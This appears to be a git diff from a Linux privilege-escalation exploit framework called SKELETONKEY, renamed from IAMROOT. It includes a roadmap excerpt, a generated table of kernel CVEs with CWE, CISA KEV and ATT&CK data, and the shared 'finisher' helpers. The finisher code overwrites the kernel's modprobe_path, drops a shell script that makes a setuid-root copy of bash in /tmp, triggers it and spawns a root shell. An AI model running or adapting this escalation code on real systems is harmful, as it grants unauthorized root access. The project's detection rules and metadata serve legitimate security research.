Debian 11 / 12 + mainline 5.15.5 / 6.1.10. Records in
|
||||
`docs/VERIFICATIONS.jsonl`, baked into `core/verifications.{c,h}`,
|
||||
surfaced in `--list` (VFY column), `--module-info`, `--explain`,
|
||||
`--scan --json`.
|
||||
- [x] **`--explain MODULE`** — one-page operator briefing. CVE / CWE /
|
||||
MITRE ATT&CK / CISA KEV header, host fingerprint, live `detect()`
|
||||
trace with verdict + interpretation, OPSEC footprint, detection-
|
||||
rule coverage, verified-on records. Paste-into-ticket ready.
|
||||
- [x] **Per-module `opsec_notes`** — every module struct ships a
|
||||
runtime-footprint paragraph (file artifacts, dmesg, syscall
|
||||
observables, network, persistence, cleanup). The inverse of the
|
||||
detection rules.
|
||||
- [x] **CVE metadata pipeline** — `tools/refresh-cve-metadata.py`
|
||||
fetches CISA KEV + NVD CWE; 10 of 26 modules cover KEV-listed
|
||||
CVEs. Hand-curated ATT&CK mapping (T1068 / T1611 / T1082).
|
||||
Surfaced everywhere (`★` markers, `triage` JSON sub-object).
|
||||
- [x] **119 detection rules across all 4 SIEM formats** — auditd
|
||||
30/31, sigma 31/31, yara 28/31, falco 30/31. Documented
|
||||
intentional skips for the 3 modules without applicable rules
|
||||
in each format (entrybleed: pure timing side-channel;
|
||||
ptrace_traceme + sudo_samedit: pure-memory races, no on-disk
|
||||
artifacts).
|
||||
- [x] **88-test unit harness** — 33 kernel_range / host-fingerprint
|
||||
boundary tests + 55 detect() integration tests. ASan + UBSan
|
||||
+ clang-tidy on every push; weekly cron checks for CISA KEV
|
||||
+ Debian security-tracker drift.
|
||||
- [x] **arm64-static binary** — `skeletonkey-arm64-static` published
|
||||
alongside x86_64-static. Built via `dockcross/linux-arm64-musl`
|
||||
cross toolchain. `install.sh` auto-picks on aarch64 hosts.
|
||||
- [x] **`arch_support` field** per module: `any` (4 — userspace
|
||||
bugs), `x86_64` (1 — entrybleed by physics),
|
||||
`x86_64+unverified-arm64` (26 — kernel modules whose arm64
|
||||
exploit hasn't been empirically confirmed). Honest labels until
|
||||
an arm64 verification sweep promotes them.
|
||||
- [x] **Marketing-grade landing page** — animated hero with
|
||||
`--explain` showcase, bento-grid features, KEV / verification
|
||||
stat chips, open-graph card. karazajac.github.io/SKELETONKEY.
|
||||
|
||||
**Open follow-ups from v0.7.x (not yet started):**
|
||||
|
||||
- [ ] arm64 verification sweep — Vagrant arm64 box (e.g.
|
||||
`generic/debian12-arm64` on M-series Mac via Parallels) → run
|
||||
`verify.sh` against the 26 `x86_64+unverified-arm64` modules,
|
||||
promote each to `any` where it works.
|
||||
- [ ] SIEM query templates — full Splunk SPL / Elastic KQL / Sentinel
|
||||
KQL queries per top-10 KEV-listed modules, embedded in
|
||||
`docs/DETECTION_PLAYBOOK.md`.
|
||||
- [ ] `install.sh` CI smoke test — boot fresh Ubuntu / Debian /
|
||||
Alpine containers, run `curl ... | sh`, assert `--version`.
|
||||
- [ ] PackageKit provisioner for pack2theroot VULNERABLE-path
|
||||
verification on Debian 12.
|
||||
- [ ] Custom ≤ 4.4 kernel image for dirty_cow VM verification.
|
||||
- [ ] 9 deferred TOO_TIGHT kernel-range drift findings — per-commit
|
||||
verification against git.kernel.org/linus.
|
||||
|
||||
**Wait-for-upstream blockers (out of our control):**
|
||||
|
||||
- vmwgfx verification — requires a VMware-Fusion-or-Workstation
|
||||
guest exposing `/dev/dri/card*` from the vmwgfx driver.
|
||||
- dirtydecrypt + fragnesia verification — both target Linux 7.0+,
|
||||
which isn't shipping as any distro kernel yet.
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **No 0-day shipment.** Everything in IAMROOT is post-patch.
|
||||
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
||||
- **No automated mass-targeting.** No host-list mode. No automatic
|
||||
pivoting.
|
||||
- **No persistence beyond `--exploit-backdoor`'s
|
||||
|
||||
@@ -0,0 +1,361 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-cve-metadata.py from
|
||||
* docs/CVE_METADATA.json. Do not hand-edit; rerun the script.
|
||||
* Sources: CISA KEV catalog + NVD CVE API 2.0.
|
||||
*/
|
||||
|
||||
#include "cve_metadata.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
const struct cve_metadata cve_metadata_table[] = {
|
||||
{
|
||||
.cve = "CVE-2016-5195",
|
||||
.cwe = "CWE-362",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-03-03",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2017-7308",
|
||||
.cwe = "CWE-681",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2018-14634",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-01-26",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-13272",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2021-12-10",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-14287",
|
||||
.cwe = "CWE-755",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-14386",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-29661",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-22555",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-10-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3156",
|
||||
.cwe = "CWE-193",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-33909",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3493",
|
||||
.cwe = "CWE-270",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-10-20",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-4034",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-06-27",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0185",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-08-21",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0492",
|
||||
.cwe = "CWE-287",
|
||||
.attack_technique = "T1611",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-06-02",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0847",
|
||||
.cwe = "CWE-665",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-25",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-25636",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-2588",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0179",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0386",
|
||||
.cwe = "CWE-282",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-06-17",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0458",
|
||||
.cwe = "CWE-476",
|
||||
.attack_technique = "T1082",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-2008",
|
||||
.cwe = "CWE-129",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-22809",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-32233",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-3269",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-4622",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-1086",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-05-30",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-26581",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-50264",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32462",
|
||||
.cwe = "CWE-863",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32463",
|
||||
.cwe = "CWE-829",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-09-29",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-6019",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-23111",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-31635",
|
||||
.cwe = "CWE-130",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-41651",
|
||||
.cwe = "CWE-367",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-43494",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-43499",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46242",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46243",
|
||||
.cwe = "CWE-20",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46300",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46333",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
/* NVD had published no CWE for this CVE at time of writing
|
||||
* (disclosed 2026-07-22); SKELETONKEY's own reading is CWE-362
|
||||
* (race) yielding CWE-367 (TOCTOU) — see the module MODULE.md.
|
||||
* This field mirrors NVD, so it stays NULL until NVD classifies
|
||||
* it and the refresh script fills it in. */
|
||||
.cve = "CVE-2026-64600",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t cve_metadata_table_len =
|
||||
sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);
|
||||
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve)
|
||||
{
|
||||
if (!cve) return NULL;
|
||||
for (size_t i = 0; i < cve_metadata_table_len; i++) {
|
||||
if (strcmp(cve_metadata_table[i].cve, cve) == 0)
|
||||
return &cve_metadata_table[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata lookup
|
||||
*
|
||||
* Per-CVE annotations sourced from authoritative federal databases:
|
||||
* - CISA Known Exploited Vulnerabilities catalog (in_kev, date_added)
|
||||
* - NVD CVE API (cwe)
|
||||
* - Hand-curated MITRE ATT&CK technique mapping
|
||||
*
|
||||
* Kept separate from struct skeletonkey_module because these are
|
||||
* properties of the CVE (one CVE -> one set of values), not the
|
||||
* exploit module. Two modules covering the same CVE see the same
|
||||
* metadata. The OPSEC notes — which vary by exploit technique —
|
||||
* stay on the module struct.
|
||||
*
|
||||
* The table is auto-generated from docs/CVE_METADATA.json by
|
||||
* tools/refresh-cve-metadata.py. Do not hand-edit cve_metadata.c —
|
||||
* re-run the refresh tool.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_CVE_METADATA_H
|
||||
#define SKELETONKEY_CVE_METADATA_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct cve_metadata {
|
||||
const char *cve; /* "CVE-YYYY-NNNNN" */
|
||||
const char *cwe; /* "CWE-NNN" or NULL if NVD has no mapping */
|
||||
const char *attack_technique; /* "T1068" etc. */
|
||||
const char *attack_subtechnique; /* "T1068.001" or NULL */
|
||||
bool in_kev; /* true iff in CISA's KEV catalog */
|
||||
const char *kev_date_added; /* "YYYY-MM-DD" or "" */
|
||||
};
|
||||
|
||||
/* The full table. Length is `cve_metadata_table_len`. */
|
||||
extern const struct cve_metadata cve_metadata_table[];
|
||||
extern const size_t cve_metadata_table_len;
|
||||
|
||||
/* Lookup by CVE id (e.g. "CVE-2024-1086"). Returns NULL if the CVE
|
||||
* isn't in the table. Cheap linear scan; we have <100 entries. */
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve);
|
||||
|
||||
#endif /* SKELETONKEY_CVE_METADATA_H */
|
||||
+25
-25
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — shared finisher helpers
|
||||
* SKELETONKEY — shared finisher helpers
|
||||
*
|
||||
* See finisher.h for the pattern split (A: modprobe_path overwrite,
|
||||
* B: current->cred->uid).
|
||||
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
|
||||
return 0;
|
||||
}
|
||||
|
||||
void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
void skeletonkey_finisher_print_offset_help(const char *module_name)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
|
||||
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
" To populate them on this host, choose ONE of:\n"
|
||||
"\n"
|
||||
" 1) Environment override (one-shot, no host changes):\n"
|
||||
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
|
||||
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
|
||||
"\n"
|
||||
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
|
||||
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
|
||||
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
module_name, module_name);
|
||||
}
|
||||
|
||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
if (!iamroot_offsets_have_modprobe_path(off)) {
|
||||
iamroot_finisher_print_offset_help("module");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
if (!skeletonkey_offsets_have_modprobe_path(off)) {
|
||||
skeletonkey_finisher_print_offset_help("module");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!arb_write) {
|
||||
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Per-pid working paths so concurrent runs don't collide. */
|
||||
pid_t pid = getpid();
|
||||
char mp_path[64], trig_path[64], pwn_path[64];
|
||||
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
|
||||
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
|
||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
|
||||
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
|
||||
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
|
||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
|
||||
|
||||
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
|
||||
* know it ran. Bash 4+ refuses to use its own setuid bit by
|
||||
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
char payload[1024];
|
||||
snprintf(payload, sizeof payload,
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
|
||||
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
|
||||
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
|
||||
pwn_path, pwn_path, pwn_path);
|
||||
|
||||
if (write_file(mp_path, payload, 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Unknown-format trigger: anything that fails the standard exec
|
||||
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
if (write_file(trig_path, "\x00", 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
|
||||
unlink(mp_path);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Build the kernel-side write payload: a NUL-terminated path to
|
||||
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
fprintf(stderr, "[-] finisher: arb_write failed\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Fire the trigger by exec'ing the unknown binary. fork() so the
|
||||
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
waitpid(cpid, &st, 0);
|
||||
} else {
|
||||
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
|
||||
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
have_setuid:
|
||||
if (!spawn_shell) {
|
||||
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
|
||||
fflush(stderr);
|
||||
@@ -161,11 +161,11 @@ have_setuid:
|
||||
execve(pwn_path, argv, NULL);
|
||||
/* Only reached on execve failure. */
|
||||
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
fprintf(stderr,
|
||||
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
|
||||
" the task list from init_task and find current). Modules with\n"
|
||||
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
|
||||
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
|
||||
" instead — same root capability, simpler trigger.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
+19
-19
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — shared finisher helpers for full-chain root pops.
|
||||
* SKELETONKEY — shared finisher helpers for full-chain root pops.
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||
* write, slab UAF, etc.). The conversion to root is almost always one
|
||||
@@ -21,11 +21,11 @@
|
||||
* Pattern (B) needs a self-cred chase + multiple writes.
|
||||
*
|
||||
* Modules provide their own arb-write primitive via the
|
||||
* iamroot_arb_write_fn callback; this file wraps the rest.
|
||||
* skeletonkey_arb_write_fn callback; this file wraps the rest.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_FINISHER_H
|
||||
#define IAMROOT_FINISHER_H
|
||||
#ifndef SKELETONKEY_FINISHER_H
|
||||
#define SKELETONKEY_FINISHER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
@@ -35,7 +35,7 @@
|
||||
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
||||
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
||||
* negative on failure. `ctx` is opaque module state. */
|
||||
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
||||
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx);
|
||||
|
||||
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
||||
* groomed slab THEN call the trigger. The trigger is a separate fn
|
||||
* because some modules need to re-spray before each write. NULL is
|
||||
* acceptable if the arb-write is self-contained. */
|
||||
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
|
||||
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
|
||||
|
||||
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
||||
* already populated `off->modprobe_path`. Implementation:
|
||||
* 1. Write payload script to /tmp/iamroot-mp-<pid>
|
||||
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
|
||||
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
|
||||
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
|
||||
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
|
||||
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
|
||||
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
||||
* → our payload runs as root → payload writes /tmp/iamroot-pwn
|
||||
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
|
||||
* and/or copies /bin/bash to /tmp with setuid root
|
||||
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
||||
*
|
||||
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
|
||||
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
|
||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
|
||||
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
|
||||
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
* 1. Walk task linked list from init_task to find self by pid
|
||||
* (this requires arb-READ too — not supplied here; B-pattern
|
||||
* modules need to provide their own variant)
|
||||
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
|
||||
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
|
||||
* helpful error. */
|
||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
/* Diagnostic: tell the operator how to populate offsets manually. */
|
||||
void iamroot_finisher_print_offset_help(const char *module_name);
|
||||
void skeletonkey_finisher_print_offset_help(const char *module_name);
|
||||
|
||||
#endif /* IAMROOT_FINISHER_H */
|
||||
#endif /* SKELETONKEY_FINISHER_H */
|
||||
|
||||
+355
@@ -0,0 +1,355 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint implementation
|
||||
*
|
||||
* Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
|
||||
* first call, stores into a file-static, and returns the same pointer
|
||||
* forever after. Single-threaded (skeletonkey is single-threaded), so
|
||||
* no synchronisation needed.
|
||||
*/
|
||||
|
||||
#include "host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
